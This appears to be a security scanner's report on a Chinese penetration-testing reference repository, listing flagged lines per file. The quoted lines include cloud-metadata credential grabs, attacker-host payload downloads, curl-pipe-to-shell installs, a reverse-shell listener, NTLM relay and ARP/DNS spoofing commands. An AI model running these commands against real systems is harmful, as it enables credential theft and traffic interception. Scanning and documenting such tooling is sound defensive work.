# 测试 null origin curl -s -H "Origin: null" -I https://api.example.com/v1/endpoint | grep -i "access-control" # 测试带凭据标志 - Network accessline 209
curl -s -H "Origin: null" -I https://api.example.com/v1/endpoint | grep -i "access-control" - Network accessline 211
curl -s -H "Origin: https://evil.com" -H "Cookie: session=TOKEN" -I https://api.example.com/v1/endpoint | grep -i "access-control"
kali-pentest-zh/references/playbooks/cloud-native-assessment.md
- Access to secretsline 98
[Credential-related source omitted] - Network accessline 198
# docker-bench-security — 审计 Docker 主机配置 cd /tmp && git clone https://github.com/docker/docker-bench-security.git && cd docker-bench-security - Network accessline 199
cd /tmp && git clone https://github.com/docker/docker-bench-security.git && cd docker-bench-security - Dangerous shell operationline 200
sudo ./docker-bench-security.sh -l /tmp/docker-bench.log - Network accessline 250
# AWS — 测试 IMDS 访问(IMDSv1) curl -s http://169.254.169.254/latest/meta-data/ - Network accessline 251
curl -s http://169.254.169.254/latest/meta-data/ - Network accessline 252
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ - Network accessline 253
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME - Network accessline 255
[Credential-related source omitted] - Network accessline 256
[Credential-related source omitted] - Network accessline 257
[Credential-related source omitted] - Network accessline 262
# Azure — 测试 IMDS curl -s -H "Metadata:true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" - Network accessline 263
curl -s -H "Metadata:true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" - Network accessline 264
curl -s -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" - Network accessline 266
# GCP — 测试元数据 curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token - Network accessline 267
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token - Network accessline 268
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/project/project-id
kali-pentest-zh/references/playbooks/internal-network-protocols.md
- Network accessline 97
nmap -p 21 --script ftp-anon,ftp-bounce,ftp-syst,ftp-vsftpd-backdoor <ip> # 手动验证匿名访问(nmap 脚本可能因 PASV 问题产生漏报) curl -s ftp://anonymous:anonymous@<ip>/ - Network accessline 98
# 手动验证匿名访问(nmap 脚本可能因 PASV 问题产生漏报) curl -s ftp://anonymous:anonymous@<ip>/ # 递归目录列表(发现包含备份文件的子目录) - Network accessline 99
curl -s ftp://anonymous:anonymous@<ip>/ - Network accessline 100
# 递归目录列表(发现包含备份文件的子目录) wget --spider -r --no-remove-listing ftp://anonymous:anonymous@<ip>/ 2>&1 | grep -E 'directory|listing' # 在可访问目录中搜索敏感文件 - Network accessline 101
wget --spider -r --no-remove-listing ftp://anonymous:anonymous@<ip>/ 2>&1 | grep -E 'directory|listing' - Network accessline 102
# 在可访问目录中搜索敏感文件 curl -s ftp://anonymous:anonymous@<ip>/ | grep -iE '\.(tar|zip|gz|bak|sql|conf|env|key|pem|kdbx)' # 可写目录测试 - Network accessline 103
curl -s ftp://anonymous:anonymous@<ip>/ | grep -iE '\.(tar|zip|gz|bak|sql|conf|env|key|pem|kdbx)' - Network accessline 105
curl -s -T /tmp/test_upload.txt ftp://anonymous:anonymous@<ip>/pub/ && echo "WRITABLE"
kali-pentest-zh/references/playbooks/internal-network.md
- Network accessline 77
openssl s_client -alpn http/1.1 -connect <ip>:<port> </dev/null 2>/dev/null | grep -E 'ALPN|Protocol' # 第 3 步:banner 捕获 nc -w3 <ip> <port> 2>/dev/null | head -c 512 | xxd | head - Network accessline 78
# 第 3 步:banner 捕获 nc -w3 <ip> <port> 2>/dev/null | head -c 512 | xxd | head curl -sk https://<ip>:<port>/ -o /dev/null -w '%{http_code}\n' - Network accessline 79
nc -w3 <ip> <port> 2>/dev/null | head -c 512 | xxd | head - Network accessline 80
curl -sk https://<ip>:<port>/ -o /dev/null -w '%{http_code}\n'
kali-pentest-zh/references/playbooks/mobile-application.md
- Access to secretsline 30
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Access to secretsline 66
[Credential-related source omitted] - Access to secretsline 67
[Credential-related source omitted] - Access to secretsline 78
[Credential-related source omitted]
kali-pentest-zh/references/playbooks/post-exploitation.md
kali-pentest-zh/references/playbooks/reporting-workflow.md
- Network accessline 40
- 默认使用 CVSS v4.0 基础评分计算:攻击向量、攻击复杂度、所需权限、用户交互、范围和 CIA 影响。当客户明确要求或需要与尚未迁移到 v4.0 的漏洞数据库对比时,使用 CVSS v3.1。 - 当目标环境上下文已知时(如补偿控制、利用成熟度),应用环境和时间调整。 - 参考 [CVSS Calculator](https://www.first.org/cvss/calculator/4.0) 确保评分一致性。 - Network accessline 41
- 当目标环境上下文已知时(如补偿控制、利用成熟度),应用环境和时间调整。 - 参考 [CVSS Calculator](https://www.first.org/cvss/calculator/4.0) 确保评分一致性。 - 在相关情况下将发现映射到合规框架:PCI DSS 要求、SOC 2 信任标准或 HIPAA 安全措施。 - Network accessline 42
- 参考 [CVSS Calculator](https://www.first.org/cvss/calculator/4.0) 确保评分一致性。
kali-pentest-zh/references/playbooks/source-code-audit.md
kali-pentest-zh/references/playbooks/web-application.md
- Network accessline 18
- **TLS 密码套件审计**:运行 `sslscan`(参见 `../vulnerability/tools/sslscan.md`)或 `testssl.sh`(参见 `../vulnerability/tools/testssl.sh.md`)枚举所有接受的密码套件,并检查已知 TLS 攻击(ROBOT、DROWN、CCS 注入、Ticketbleed、Heartbleed)——不要仅依赖手动 `openssl s_client` 版本检查。标记 3DES、RC4、非 - Network accessline 19
- **通配符证书→子域名枚举**:如果 TLS 证书包含通配符 SAN(如 `*.example.com`),通过 DNS 查询枚举子域名,并逐一探测是否存在独立服务或不同响应状态码。 - **CORS 源站侦察**:如果 `Access-Control-Allow-Origin` 头指定了具体源站(如 `https://app.example.com`),探测该源站的响应头、CSP 指令、Cookie 和技术栈——其响应元数据常常泄露 API 端点、内部架构或未授权 - Network accessline 20
- **CORS 源站侦察**:如果 `Access-Control-Allow-Origin` 头指定了具体源站(如 `https://app.example.com`),探测该源站的响应头、CSP 指令、Cookie 和技术栈——其响应元数据常常泄露 API 端点、内部架构或未授权路径。对返回 HTTP 200 且有实际内容的源站运行 `nikto` 和 `nuclei` 扫描。 - Network accessline 38
```bash # 下载 JS 文件 curl -sk https://<target>/main.js -o /tmp/main.js - Network accessline 39
# 下载 JS 文件 curl -sk https://<target>/main.js -o /tmp/main.js # 搜索 URL、API 路径、子域名和密钥 - Network accessline 40
curl -sk https://<target>/main.js -o /tmp/main.js - Network accessline 96
```bash commix --url "http://target/page?param=INJECT_HERE" --level=3 --batch - Network accessline 97
commix --url "http://target/page?param=INJECT_HERE" --level=3 --batch - Network accessline 101
- **反序列化**:识别参数或 cookie 中的序列化对象;使用已知 gadget 链(Java/PHP/.NET)进行测试。对 PHP 反序列化漏洞,使用 `phpggc` 生成 gadget 链(见 `../web/tools/phpggc.md`)。对 CBC 模式加密的 cookie/令牌进行 Padding Oracle 攻击,使用 `padbuster`(见 `../web/tools/padbuster.md`)。 - **HTTP 请求走私**:在前 - Network accessline 102
- **HTTP 请求走私**:在前端和后端服务器不同的场景下,测试 CL/TE 和 TE/CL 混淆。 - **SSRF**:测试 URL 和文件参数是否可访问内网、云元数据(`http://169.254.169.254`)以及内部服务枚举。 - **XXE**:测试 XML 输入是否存在外部实体注入;如果内联响应未反射,尝试带外获取。 - Network accessline 103
- **SSRF**:测试 URL 和文件参数是否可访问内网、云元数据(`http://169.254.169.254`)以及内部服务枚举。 - Network accessline 129
- **JWT 缺陷**:`alg:none`、弱密钥、`kid` 注入——使用 `jwt_tool` 验证(参见 `../web/tools/jwt_tool.md`)。 - **IDOR / BOLA**:跨角色替换对象 ID,验证响应差异。 - **CORS 配置错误**:发送 `Origin: https://evil.com`,检查响应中是否有反射的请求头。 - Network accessline 130
- **IDOR / BOLA**:跨角色替换对象 ID,验证响应差异。 - **CORS 配置错误**:发送 `Origin: https://evil.com`,检查响应中是否有反射的请求头。 - **CSRF**:确认令牌绑定;测试有无 `SameSite` cookie 属性时的行为差异。 - Network accessline 131
- **CORS 配置错误**:发送 `Origin: https://evil.com`,检查响应中是否有反射的请求头。 - Network accessline 137
# 通过认证的代理会话路由 sqlmap sqlmap -u "<url>" --proxy http://127.0.0.1:8080 --cookie="session=<token>" - Network accessline 138
sqlmap -u "<url>" --proxy http://127.0.0.1:8080 --cookie="session=<token>"
kali-pentest-zh/references/post-exploitation/README.md
- Dangerous shell operationline 31
自动化枚举系统中可利用的权限提升路径,包括 SUID/SUDO 配置、计划任务、服务配置、未打补丁的漏洞等。是获得 shell 后第一步必跑的工具。 - Dangerous shell operationline 81
1. **sudo 配置错误** -- `sudo -l` 列出允许的命令。在 [GTFOBins](https://gtfobins.github.io/) 查找可利用的二进制文件。 - Network accessline 81
1. **sudo 配置错误** -- `sudo -l` 列出允许的命令。在 [GTFOBins](https://gtfobins.github.io/) 查找可利用的二进制文件。 - Network accessline 196
- [Kali Tools](https://www.kali.org/tools/all-tools/)
kali-pentest-zh/references/post-exploitation/tools/bloodhound.md
- Dangerous shell operationline 25
sudo apt install bloodhound neo4j - Network accessline 27
# 启动 Neo4j 数据库 sudo neo4j start # 访问 http://localhost:7474 修改默认密码(neo4j/neo4j → 自定义) - Dangerous shell operationline 28
sudo neo4j start - Network accessline 29
# 访问 http://localhost:7474 修改默认密码(neo4j/neo4j → 自定义) - Network accessline 34
# --- BloodHound Community Edition (CE) v5+ 可通过 Docker 部署 --- # git clone https://github.com/SpecterOps/BloodHound.git - Network accessline 35
# git clone https://github.com/SpecterOps/BloodHound.git - Network accessline 36
# cd BloodHound && docker compose -f examples/docker-compose/docker-compose.yml up # 访问 http://localhost:8080 (首次运行时打印凭据) # CE 采集优先使用当前 SharpHound 发布版 - Network accessline 37
# 访问 http://localhost:8080 (首次运行时打印凭据) - Network accessline 59
# 下载 SharpHound: # BloodHound 4.x: https://github.com/SpecterOps/BloodHound-Legacy/tree/master/Collectors - Network accessline 60
# BloodHound 4.x: https://github.com/SpecterOps/BloodHound-Legacy/tree/master/Collectors - Network accessline 61
# BloodHound CE: https://github.com/SpecterOps/SharpHound (注意版本匹配!) - Network accessline 127
- [BloodHound CE v5+(GitHub)](https://github.com/SpecterOps/BloodHound) - Network accessline 128
- [BloodHound 文档](https://bloodhound.specterops.io) - Network accessline 129
- [SharpHound 收集器 — CE 版(GitHub)](https://github.com/SpecterOps/SharpHound) - Network accessline 130
- [SharpHound 收集器 — Legacy 4.x(GitHub)](https://github.com/SpecterOps/BloodHound-Legacy/tree/master/Collectors) - Network accessline 131
- [bloodhound-python(GitHub)](https://github.com/dirkjanm/BloodHound.py)
kali-pentest-zh/references/post-exploitation/tools/bloodhound.py.md
kali-pentest-zh/references/post-exploitation/tools/bloodyad.md
kali-pentest-zh/references/post-exploitation/tools/certipy-ad.md
- Dangerous shell operationline 15
sudo apt install certipy-ad - Network accessline 60
# 针对 AD CS 的 NTLM 中继攻击(配合 coercer 或 mitm6 使用) certipy-ad relay -target http://192.168.1.10 -template 'Machine' - Network accessline 61
certipy-ad relay -target http://192.168.1.10 -template 'Machine' - Network accessline 76
- [Certipy (GitHub)](https://github.com/ly4k/Certipy) - Network accessline 77
- [Kali certipy-ad](https://www.kali.org/tools/certipy-ad/)
kali-pentest-zh/references/post-exploitation/tools/dnscat2.md
kali-pentest-zh/references/post-exploitation/tools/dploot.md
kali-pentest-zh/references/post-exploitation/tools/havoc.md
- Dangerous shell operationline 15
sudo apt install havoc - Network accessline 17
# 或从源码构建 git clone https://github.com/HavocFramework/Havoc.git - Network accessline 18
git clone https://github.com/HavocFramework/Havoc.git - Network accessline 71
# Python API 示例: # from havoc import Havoc # h = Havoc("https://teamserver:40056", "operator", "password") - Network accessline 72
# from havoc import Havoc # h = Havoc("https://teamserver:40056", "operator", "password") # h.generate_payload(listener="http-listener", arch="x64", format="exe") - Network accessline 73
# h = Havoc("https://teamserver:40056", "operator", "password") - Network accessline 101
- [Havoc (GitHub)](https://github.com/HavocFramework/Havoc) - Network accessline 102
- [Kali havoc](https://www.kali.org/tools/havoc/)
kali-pentest-zh/references/post-exploitation/tools/hekatomb.md
kali-pentest-zh/references/post-exploitation/tools/krbrelayx.md
- Dangerous shell operationline 16
sudo apt install krbrelayx - Network accessline 21
# 或从 GitHub 克隆 git clone https://github.com/dirkjanm/krbrelayx.git - Network accessline 22
git clone https://github.com/dirkjanm/krbrelayx.git - Network accessline 161
- [krbrelayx (GitHub)](https://github.com/dirkjanm/krbrelayx) - Network accessline 162
- [Kali krbrelayx](https://www.kali.org/tools/krbrelayx/)
kali-pentest-zh/references/post-exploitation/tools/lapsdumper.md
kali-pentest-zh/references/post-exploitation/tools/linpeas.md
- Dangerous shell operationline 20
sudo apt install peass - Network accessline 23
# 或从 GitHub 下载最新版 curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o /tmp/linpeas.sh - Network accessline 24
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o /tmp/linpeas.sh - Network accessline 25
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx64.exe -o /tmp/winpeas.exe - Network accessline 27
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx86.exe -o /tmp/winpeas32.exe - Dangerous shell operationline 45
- Sudo 权限(sudo -l) - Network accessline 70
# 或通过 python HTTP server python3 -m http.server 8080 # Kali 上 wget http://<kali-ip>:8080/linpeas.sh -O /tmp/linpeas.sh # 目标上 - Network accessline 72
wget http://<kali-ip>:8080/linpeas.sh -O /tmp/linpeas.sh # 目标上 - Network accessline 78
# 快速执行(无需落地,仅在能访问公网时) curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh - Dangerous shell operationline 79
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh - Network accessline 79
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh - Network accessline 107
2. 务必将输出重定向到文件(`tee /tmp/linpeas_output.txt`)——完整扫描需要几分钟,输出内容非常庞大。 3. 时间有限或想减少噪声时,使用 `-o` 参数仅运行特定检测类别。 4. 无需落地文件的执行方式(通过 curl 直接管道执行):`curl -L <url> | sh`——仅适用于可访问互联网的目标。 - Network accessline 108
3. 时间有限或想减少噪声时,使用 `-o` 参数仅运行特定检测类别。 4. 无需落地文件的执行方式(通过 curl 直接管道执行):`curl -L <url> | sh`——仅适用于可访问互联网的目标。 5. PEASS-ng 频繁更新——请下载最新版本以获取当前 CVE 检测;旧版本会遗漏近期内核和软件漏洞。 - Dangerous shell operationline 109
4. 无需落地文件的执行方式(通过 curl 直接管道执行):`curl -L <url> | sh`——仅适用于可访问互联网的目标。 - Network accessline 109
4. 无需落地文件的执行方式(通过 curl 直接管道执行):`curl -L <url> | sh`——仅适用于可访问互联网的目标。 - Network accessline 116
- [PEASS-ng(GitHub)](https://github.com/peass-ng/PEASS-ng) - Network accessline 117
- [linPEAS(GitHub)](https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS)
kali-pentest-zh/references/post-exploitation/tools/linux-exploit-suggester.md
- Dangerous shell operationline 15
sudo apt update - Dangerous shell operationline 16
sudo apt install linux-exploit-suggester - Network accessline 67
- [linux-exploit-suggester GitHub](https://github.com/The-Z-Labs/linux-exploit-suggester) - Network accessline 68
- [Kali linux-exploit-suggester](https://www.kali.org/tools/linux-exploit-suggester/)
kali-pentest-zh/references/post-exploitation/tools/lsassy.md
- Network accessline 18
# Kali Package Tracker 中源码包名为 python-lsassy # https://pkg.kali.org/pkg/python-lsassy - Network accessline 19
# https://pkg.kali.org/pkg/python-lsassy - Network accessline 73
- [lsassy(GitHub)](https://github.com/Hackndo/lsassy) - Network accessline 74
- [Kali Package Tracker: python-lsassy](https://pkg.kali.org/pkg/python-lsassy)
kali-pentest-zh/references/post-exploitation/tools/mimikatz.md
- Network accessline 15
# 从官方 release 页面下载当前 Windows 构建 # https://github.com/gentilkiwi/mimikatz/releases - Network accessline 16
# https://github.com/gentilkiwi/mimikatz/releases - Network accessline 122
- [Mimikatz(GitHub)](https://github.com/gentilkiwi/mimikatz) - Network accessline 123
- [Mimikatz Wiki](https://github.com/gentilkiwi/mimikatz/wiki)
kali-pentest-zh/references/post-exploitation/tools/powershell-empire.md
- Dangerous shell operationline 15
sudo apt install powershell-empire - Dangerous shell operationline 18
sudo powershell-empire server - Network accessline 23
# 或从 GitHub 安装 git clone --recursive https://github.com/BC-SECURITY/Empire.git - Network accessline 24
git clone --recursive https://github.com/BC-SECURITY/Empire.git - Dangerous shell operationline 72
sudo powershell-empire server - Network accessline 132
- [Empire (GitHub)](https://github.com/BC-SECURITY/Empire) - Network accessline 133
- [Kali powershell-empire](https://www.kali.org/tools/powershell-empire/) - Network accessline 134
- [BC Security - Empire Documentation](https://bc-security.gitbook.io/empire-wiki)
kali-pentest-zh/references/post-exploitation/tools/powersploit.md
- Dangerous shell operationline 15
sudo apt install powersploit - Network accessline 20
# 或从 GitHub 克隆 git clone https://github.com/PowerShellMafia/PowerSploit.git - Network accessline 21
git clone https://github.com/PowerShellMafia/PowerSploit.git - Network accessline 98
# 设置监听器接收反向 Shell payload nc -lvnp 4444 - Network accessline 99
nc -lvnp 4444 - Network accessline 154
- [PowerSploit (GitHub)](https://github.com/PowerShellMafia/PowerSploit) - Network accessline 155
- [Kali powersploit](https://www.kali.org/tools/powersploit/)
kali-pentest-zh/references/post-exploitation/tools/proxychains.md
- Dangerous shell operationline 15
sudo apt install proxychains4 - Network accessline 45
# 通过代理执行任意命令 proxychains nmap -sT 10.10.10.0/24 proxychains curl http://internal-server/ - Network accessline 46
proxychains nmap -sT 10.10.10.0/24 proxychains curl http://internal-server/ proxychains ssh root@192.168.100.50 - Network accessline 47
proxychains curl http://internal-server/ - Network accessline 75
- [proxychains(GitHub)](https://github.com/haad/proxychains) - Network accessline 76
- [proxychains-ng - Kali 默认版本(GitHub)](https://github.com/rofl0r/proxychains-ng)
kali-pentest-zh/references/post-exploitation/tools/pspy.md
- Network accessline 15
# 下载(请至 https://github.com/DominicBreuker/pspy/releases 确认最新版本) # 以下以 v1.2.1 为例,请替换为当前发布版本号 wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 -O /tmp/pspy64 - Network accessline 16
# 以下以 v1.2.1 为例,请替换为当前发布版本号 wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 -O /tmp/pspy64 wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32 -O /tmp/pspy32 # 32位系统 - Network accessline 17
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 -O /tmp/pspy64 - Network accessline 18
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32 -O /tmp/pspy32 # 32位系统 - Network accessline 20
# 也可通过 GitHub releases API 获取最新版本: # curl -sL https://github.com/DominicBreuker/pspy/releases/latest | grep -oP 'href="[^"]+pspy64"' | head -1 - Network accessline 21
# curl -sL https://github.com/DominicBreuker/pspy/releases/latest | grep -oP 'href="[^"]+pspy64"' | head -1 - Network accessline 86
- [pspy(GitHub)](https://github.com/DominicBreuker/pspy)
kali-pentest-zh/references/post-exploitation/tools/pwncat.md
- Network accessline 10
pwncat(cytopia 开发)是一款用 Python 编写的增强型 netcat 实现。它有四种运行模式:连接(connect)、监听(listen)、零 I/O(端口扫描)和转发(本地/远程端口转发)。除基本 netcat 功能外,pwncat 提供 IDS/IPS 规避技术、反向 Shell payload 自注入、用于数据操作的脚本钩子,以及保持连接、重连和基于 ping 的健康检查等高级连接管理功能。 - Dangerous shell operationline 17
sudo apt install pwncat - Network accessline 163
- [pwncat GitHub Repository (cytopia)](https://github.com/cytopia/pwncat) - Network accessline 164
- [pwncat Kali Tools Page](https://www.kali.org/tools/pwncat/)
kali-pentest-zh/references/post-exploitation/tools/sliver.md
- Network accessline 15
# 通过官方安装脚本安装 curl https://sliver.sh/install | sudo bash - Dangerous shell operationline 16
curl https://sliver.sh/install | sudo bash - Network accessline 16
curl https://sliver.sh/install | sudo bash - Network accessline 58
- [Sliver Documentation](https://sliver.sh/) - Network accessline 59
- [Sliver GitHub](https://github.com/BishopFox/sliver)
kali-pentest-zh/references/post-exploitation/tools/sshuttle.md
- Dangerous shell operationline 15
sudo apt install sshuttle - Dangerous shell operationline 74
1. 需要本地机器的 root/sudo 权限(用于修改 iptables/pf 规则),但不需要远程服务器的 root 权限。 - Network accessline 85
- [sshuttle (GitHub)](https://github.com/sshuttle/sshuttle) - Network accessline 86
- [Kali sshuttle](https://www.kali.org/tools/sshuttle/)
kali-pentest-zh/references/post-exploitation/tools/winpeas.md
- Network accessline 15
# 下载最新版本(在 Kali 上执行) curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx64.exe -o /tmp/winpeas.exe - Network accessline 16
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx64.exe -o /tmp/winpeas.exe - Network accessline 17
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx86.exe -o /tmp/winpeas32.exe - Network accessline 18
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEAS.bat -o /tmp/winpeas.bat - Network accessline 84
- [PEASS-ng(GitHub)](https://github.com/peass-ng/PEASS-ng) - Network accessline 85
- [winPEAS(GitHub)](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS)
kali-pentest-zh/references/reporting/README.md
kali-pentest-zh/references/reporting/tools/pandoc.md
- Dangerous shell operationline 15
sudo apt install pandoc - Dangerous shell operationline 34
# sudo apt install texlive-latex-base - Dangerous shell operationline 37
# sudo apt install wkhtmltopdf - Network accessline 101
- [Pandoc 官方网站](https://pandoc.org/) - Network accessline 102
- [Pandoc 用户手册](https://pandoc.org/MANUAL.html)
kali-pentest-zh/references/reporting/tools/report-template.md
- Network accessline 110
**受影响位置**:`POST http://target.com/api/login` - Network accessline 121
**复现步骤**: 1. 访问 `http://target.com/login` - Network accessline 122
1. 访问 `http://target.com/login` - Network accessline 129
[Credential-related source omitted] - Network accessline 154
**参考**: - OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection - Network accessline 155
- OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection - Network accessline 156
- CWE-89: https://cwe.mitre.org/data/definitions/89.html - Network accessline 186
### B. 参考资料 - OWASP Top 10: https://owasp.org/Top10/ - Network accessline 187
- OWASP Top 10: https://owasp.org/Top10/ - Network accessline 188
- NIST NVD: https://nvd.nist.gov/ - Network accessline 189
- CVE Details: https://www.cvedetails.com/ - Network accessline 219
在线计算器:https://www.first.org/cvss/calculator/4.0 - Network accessline 261
- [OWASP Web Security Testing Guide](https://owasp.org/www-project-web-security-testing-guide/) - Network accessline 262
- [OWASP Top 10](https://owasp.org/Top10/) - Network accessline 263
- [FIRST CVSS](https://www.first.org/cvss/)
kali-pentest-zh/references/reverse-engineering/README.md
- Network accessline 131
- [Kali Tools](https://www.kali.org/tools/all-tools/)
kali-pentest-zh/references/reverse-engineering/tools/apktool.md
kali-pentest-zh/references/reverse-engineering/tools/binwalk.md
kali-pentest-zh/references/reverse-engineering/tools/checksec.md
kali-pentest-zh/references/reverse-engineering/tools/dex2jar.md
kali-pentest-zh/references/reverse-engineering/tools/frida.md
kali-pentest-zh/references/reverse-engineering/tools/ghidra-headless.md
kali-pentest-zh/references/reverse-engineering/tools/jadx.md
- Network accessline 51
# 搜索风险模式 grep -RniE "SharedPreferences|MODE_WORLD_READABLE|http://|Log\\.(d|e|i)|TrustManager|HostnameVerifier" /tmp/app_jadx - Network accessline 52
grep -RniE "SharedPreferences|MODE_WORLD_READABLE|http://|Log\\.(d|e|i)|TrustManager|HostnameVerifier" /tmp/app_jadx - Network accessline 65
- [jadx GitHub](https://github.com/skylot/jadx)
kali-pentest-zh/references/reverse-engineering/tools/ldd.md
- Network accessline 57
- [ldd(1) — Linux manual page](https://man7.org/linux/man-pages/man1/ldd.1.html)
kali-pentest-zh/references/reverse-engineering/tools/nm.md
kali-pentest-zh/references/reverse-engineering/tools/objdump.md
kali-pentest-zh/references/reverse-engineering/tools/objection.md
- Access to secretsline 10
[Credential-related source omitted] - Access to secretsline 60
[Credential-related source omitted] - Access to secretsline 61
[Credential-related source omitted] - Network accessline 92
- [Objection Documentation](https://github.com/sensepost/objection/wiki) - Network accessline 93
- [Objection GitHub](https://github.com/sensepost/objection)
kali-pentest-zh/references/reverse-engineering/tools/rabin2.md
kali-pentest-zh/references/reverse-engineering/tools/radare2.md
kali-pentest-zh/references/reverse-engineering/tools/readelf.md
- Network accessline 69
- [readelf(1) — Linux manual page](https://man7.org/linux/man-pages/man1/readelf.1.html)
kali-pentest-zh/references/reverse-engineering/tools/ropper.md
kali-pentest-zh/references/reverse-engineering/tools/strings.md
kali-pentest-zh/references/reverse-engineering/tools/xxd.md
- Network accessline 68
- [xxd Debian man page](https://manpages.debian.org/unstable/xxd/xxd.1.en.html)
kali-pentest-zh/references/rfid-nfc/README.md
- Network accessline 72
- [Proxmark3 GitHub](https://github.com/RfidResearchGroup/proxmark3) - Network accessline 73
- [Proxmark3 command reference](https://github.com/RfidResearchGroup/proxmark3/blob/master/doc/commands.md) - Network accessline 74
- [libnfc](https://github.com/nfc-tools/libnfc) - Network accessline 75
- [OpenSC](https://github.com/OpenSC/OpenSC)
kali-pentest-zh/references/rfid-nfc/tools/libnfc.md
kali-pentest-zh/references/rfid-nfc/tools/opensc-tool.md
kali-pentest-zh/references/rfid-nfc/tools/pkcs15-tool.md
kali-pentest-zh/references/rfid-nfc/tools/proxmark3.md
kali-pentest-zh/references/rfid-nfc/tools/scriptor.md
kali-pentest-zh/references/sniffing-spoofing/README.md
- Network accessline 112
- [Kali Tools](https://www.kali.org/tools/all-tools/)
kali-pentest-zh/references/sniffing-spoofing/tools/bettercap.md
- Dangerous shell operationline 15
sudo apt install bettercap - Dangerous shell operationline 39
sudo bettercap -iface eth0 - Dangerous shell operationline 42
sudo bettercap -iface eth0 -caplet /path/to/script.cap - Network accessline 44
# Web UI 模式(通过浏览器控制) sudo bettercap -iface eth0 -caplet /usr/share/bettercap/caplets/http-ui.cap # 访问 http://127.0.0.1 (端口 80)— 默认凭据:user / pass - Dangerous shell operationline 45
sudo bettercap -iface eth0 -caplet /usr/share/bettercap/caplets/http-ui.cap - Network accessline 45
sudo bettercap -iface eth0 -caplet /usr/share/bettercap/caplets/http-ui.cap # 访问 http://127.0.0.1 (端口 80)— 默认凭据:user / pass # ⚠<U+FE0F> http-ui.cap 设定 api.rest.port = 8081(API)、http.server.port = 80(UI);验证方式: - Network accessline 46
# 访问 http://127.0.0.1 (端口 80)— 默认凭据:user / pass - Dangerous shell operationline 96
sudo bettercap -iface eth0 -eval "net.probe on; arp.spoof on; net.sniff on" - Network accessline 110
- [Bettercap 官网](https://www.bettercap.org/) - Network accessline 111
- [Bettercap (GitHub)](https://github.com/bettercap/bettercap)
kali-pentest-zh/references/sniffing-spoofing/tools/dnschef.md
- Dangerous shell operationline 15
sudo apt install dnschef - Dangerous shell operationline 38
sudo dnschef --fakeip 192.168.1.100 -i 0.0.0.0 - Dangerous shell operationline 41
sudo dnschef --fakeip 192.168.1.100 --fakedomains example.com -i 0.0.0.0 - Dangerous shell operationline 44
sudo dnschef --fakeip 192.168.1.100 --fakemail mail.evil.com --fakens ns.evil.com -i 0.0.0.0 - Dangerous shell operationline 47
sudo dnschef --file dns_rules.ini -i 0.0.0.0 - Dangerous shell operationline 50
sudo dnschef --fakeip 192.168.1.100 -i 0.0.0.0 --logfile dns_queries.log - Dangerous shell operationline 53
sudo dnschef --fakeip 192.168.1.100 --nameservers 8.8.8.8 -i 0.0.0.0 - Network accessline 80
- [DNSChef(GitHub)](https://github.com/iphelix/dnschef) - Network accessline 81
- [Kali DNSChef](https://www.kali.org/tools/dnschef/)
kali-pentest-zh/references/sniffing-spoofing/tools/dsniff.md
- Dangerous shell operationline 15
sudo apt install dsniff - Dangerous shell operationline 71
sudo sysctl -w net.ipv4.ip_forward=1 - Dangerous shell operationline 73
sudo arpspoof -i eth0 -t 192.168.1.50 192.168.1.1 - Dangerous shell operationline 75
sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.50 - Dangerous shell operationline 79
sudo dnsspoof -i eth0 -f /tmp/dnsspoof.hosts - Dangerous shell operationline 82
sudo dsniff -i eth0 -m - Dangerous shell operationline 85
sudo macof -i eth0 -n 100000 - Dangerous shell operationline 88
sudo urlsnarf -i eth0 - Dangerous shell operationline 91
sudo tcpkill -i eth0 host 192.168.1.50 and port 443 - Network accessline 106
- [dsniff — Dug Song](https://www.monkey.org/~dugsong/dsniff/) - Network accessline 107
- [Kali dsniff](https://www.kali.org/tools/dsniff/)
kali-pentest-zh/references/sniffing-spoofing/tools/ettercap.md
kali-pentest-zh/references/sniffing-spoofing/tools/hping3.md
kali-pentest-zh/references/sniffing-spoofing/tools/macchanger.md
kali-pentest-zh/references/sniffing-spoofing/tools/netsniff-ng.md
- Dangerous shell operationline 15
sudo apt install netsniff-ng - Dangerous shell operationline 49
sudo netsniff-ng -i eth0 -o capture.pcap -s - Dangerous shell operationline 52
sudo netsniff-ng -i eth0 -o capture.pcap -f "tcp port 80 or tcp port 443" - Dangerous shell operationline 55
sudo netsniff-ng -i eth0 -o /captures/ -T 60 - Dangerous shell operationline 58
sudo netsniff-ng -i eth0 -o capture.pcap -t host - Dangerous shell operationline 61
sudo netsniff-ng -i capture.pcap -o eth0 - Dangerous shell operationline 64
